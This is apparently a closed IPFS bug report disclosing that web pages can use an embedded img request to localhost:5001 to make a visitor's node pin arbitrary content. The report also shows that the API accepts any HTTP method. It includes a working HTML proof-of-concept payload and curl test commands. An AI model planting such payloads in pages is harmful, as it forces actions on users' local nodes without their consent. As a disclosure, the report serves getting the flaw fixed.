Closed
Description
During a discussion on IRC with VegemiteToast and achin, it was tested and discovered that you can make a user pin any file.
This particular attack was done using QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb
<html>
<img src="http://localhost:5001/api/v0/pin/add?arg=QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6" />
After loading this page, please try to see if <code>QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6</code> is pinned on your local node:
<pre>
ipfs pin ls --type=all |grep QmY5tJVszoxDrVe8tncegcv4SaozcicedrgcHTWiREr4i6
</pre>
</html>As it turns out, the API accepts any command with any HTTP method.
Test it out:
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X GET
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X PATCH
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X POST
$ curl "http://localhost:5001/api/v0/pin/add?arg=QmfSeZGwcCJjeEiMziQtDEuaoKASmUV48NCaPde3q44fUb" -X WHAT